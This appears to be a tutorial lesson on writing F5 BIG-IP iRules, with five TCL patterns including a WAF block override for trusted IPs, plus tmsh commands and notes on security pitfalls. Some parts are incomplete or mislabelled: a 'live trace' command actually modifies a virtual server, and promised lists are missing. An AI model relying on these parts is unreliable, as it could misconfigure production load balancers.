F5 BIG-IP iRules: From Zero to Production-Grade

The Mumbai dabbawala — a routing problem you already understand

Every weekday morning, 5,000 dabbawalas pick up 200,000 home-cooked lunches from Mumbai suburbs and deliver each one to the right office desk by 12:30 PM — with an error rate Forbes once measured at one mistake per 16 million deliveries. The secret is a coloured-and-lettered tag on every tiffin. At Dadar station, a sorter reads the tag, looks at three things (zone, building, floor), and tosses each tiffin into the right cart in under two seconds. No central database. No barcode scanner. Just rules in the sorter's head.

An F5 iRule is that sorter. The BIG-IP is Dadar station. Every TCP connection and every HTTP request is a tiffin. The iRule reads the headers (the tag), checks a few rules, and decides where the request goes. That's it. The whole thing rests on a 30-year-old scripting language called TCL, embedded in F5's Traffic Management Microkernel (TMM).

Why this matters — and what an interviewer will ask

If you are interviewing for an F5 admin or NetOps engineer role, the question is almost guaranteed: "write an iRule that redirects all HTTP traffic to HTTPS, except for the /healthcheck path." It's a 4-line answer. Get it wrong and the panel knows you've never logged into an F5 in production. Get it right and you've separated yourself from the candidates who only memorised what an iRule "is."

The bigger reason it matters: real applications grow weird requirements that the GUI can't express. "Send users from Bengaluru DC to pool-A, except in business hours, except if their User-Agent says they're on iOS, except if the URI contains /api/v2." The GUI runs out of checkboxes; the iRule never does. iRules are how F5 admins ship business logic at the load balancer instead of waiting six weeks for the application team to release.

What an iRule actually is — the structure

Every iRule is event-driven. It does nothing until a specified network event fires on a Virtual Server, and then it runs a small TCL block. The basic shape is always the same:

when EVENT_NAME {
    # TCL code that runs when EVENT_NAME fires on this Virtual Server
    if { [HTTP::host] equals "shop.infosys.local" } {
        pool pool_shop_app
    } else {
        pool pool_default
    }
}

There are over 50 events, but six of them cover ~90% of real production iRules. Memorise these — they show up on F5 301a, F5 301b, and every F5 admin interview.

The 5 iRule patterns you'll write in your first F5 job

Pattern 1 — HTTP-to-HTTPS redirect (with healthcheck exception)

when HTTP_REQUEST {
    if { [HTTP::uri] starts_with "/healthcheck" } {
        return
    }
    HTTP::redirect "https://[HTTP::host][HTTP::uri]"
}

Attach this to an HTTP (port 80) Virtual Server. Every request gets a 302 to the HTTPS equivalent, except /healthcheck which the upstream load balancer or monitoring system needs to hit on HTTP.

Pattern 2 — Header-based pool selection

when HTTP_REQUEST {
    switch -glob [string tolower [HTTP::host]] {
        "shop.infosys.local"     { pool pool_shop_app }
        "api.infosys.local"      { pool pool_api_v2 }
        "internal.*.infosys.local" { pool pool_internal_apps }
        default                  { pool pool_default }
    }
}

One Virtual Server hosts many internal hostnames. The iRule reads the Host header and routes to the right pool. string tolower protects against case-mismatch bugs.

Pattern 3 — Rate-limit by client IP (sideband-free version)

when RULE_INIT {
    set ::RATE_LIMIT 60        ;# requests per minute
    set ::WINDOW    60          ;# seconds
}
when HTTP_REQUEST {
    set client [IP::client_addr]
    set key "rl_$client"
    set count [table incr -subtable rate_limit $key]
    if { $count == 1 } {
        table lifetime -subtable rate_limit $key $::WINDOW
    }
    if { $count > $::RATE_LIMIT } {
        HTTP::respond 429 content "Slow down" "Retry-After" "60"
        return
    }
}

Uses BIG-IP's built-in table command (per-TMM, in-memory). Sneha's L1 mistake would be storing rate counts in a TCL variable — those don't survive between requests. table does.

Pattern 4 — ASM block override for a trusted partner

when ASM_REQUEST_BLOCKING {
    set src [IP::client_addr]
    if { [class match $src equals trusted_partner_ips] } {
        ASM::unblock
        log local0. "ASM block overridden for trusted partner $src on [HTTP::uri]"
    }
}

Real production case from F5 DevCentral: a business partner's automated scraper triggers ASM signatures with malformed-but-benign requests. Whitelisting the policy is risky; an iRule that overrides ONLY for the partner's source IPs (defined in an LTM Data Group called trusted_partner_ips) is the surgical answer.

Pattern 5 — Maintenance page during deploy windows

when HTTP_REQUEST {
    if { [class match [IP::client_addr] equals admin_bypass_ips] } { return }
    if { [active_members pool_app] < 1 } {
        HTTP::respond 503 \
            content "<h1>Maintenance — back in 15 minutes</h1>" \
            "Content-Type" "text/html" "Retry-After" "900"
    }
}

If every pool member is down (deploy in progress), serve a branded maintenance page. Admins on bypass IPs skip the check and see the real (broken) app for troubleshooting.

# From BIG-IP tmsh
tmsh list ltm virtual vs_shop rules
# Expected: rules { irule_pool_by_host }

# Live trace what's firing per request
tmsh modify ltm virtual vs_shop ip-protocol tcp rules { irule_pool_by_host }
tcpdump -nni 0.0:nnnp -s0 -w /shared/tmp/vs.pcap host 10.42.10.55 &
# Then check the log:
tail -f /var/log/ltm | grep -i irule

ASM integration — when iRules meet WAF

BIG-IP ASM (now branded "BIG-IP Advanced WAF") inspects requests for OWASP-style attacks. ASM has its own iRule events that fire at the WAF decision points — useful when the policy alone is too coarse.

The 3 security pitfalls that get iRules onto CVE feeds

1. Double substitution. If user input ends up inside [expr] or [eval] without quoting, you've handed the attacker TCL command execution on the BIG-IP. F-Secure published a famous 2019 paper called "Crash, Reboot, Exploit" on this exact pattern. Always wrap dynamic strings in { … } braces — braces suppress substitution.
2. Unsanitised node or sideband commands. node $user_input_ip 8080 lets an attacker steer load-balancing toward any IP they want, bypassing the pool entirely. Sanitise — or use a Data Group allowlist.
3. Logging client input to local syslog. A 200-character User-Agent string × 50,000 RPS × log local0. = local TMM disk full in minutes. Ship logs to a dedicated remote syslog (HSL — High-Speed Logging) instead.

When to use iRule vs LTM Policy vs AS3

Mapping to the F5 301a / 301b exam

• F5 301a (Architect, Set-Up & Deploy) — asks "given this app requirement, which iRule events would you use?" Expect HTTP_REQUEST + LB_SELECTED + ASM_REQUEST_BLOCKING combinations.
• F5 301b (Maintain & Troubleshoot) — asks "users report symptom X; you see Y in the log; what's the iRule bug?" Expect double-substitution traps, stale-cache pitfalls, and "iRule not attached to VS" red herrings.
• Both exams give you scenarios — never definitions. Practice writing iRules on paper without an IDE. The cert is worth nothing if you can't read an iRule under time pressure.

Sources used in this lesson

1. F5 official techdocs — Introduction to iRules
2. DevCentral — Top 5 iRule development practices
3. DevCentral — Intermediate iRules: evaluating performance (timing on)
4. DevCentral — Avoiding common iRules security pitfalls (double substitution, sideband)
5. F5 Agility Labs — ASM hooks lab
6. F5 K000160932 — May 2026 Quarterly Security Notification
7. F5 301a study guide — iRules exam topics
8. TesTcl — unit testing framework for iRules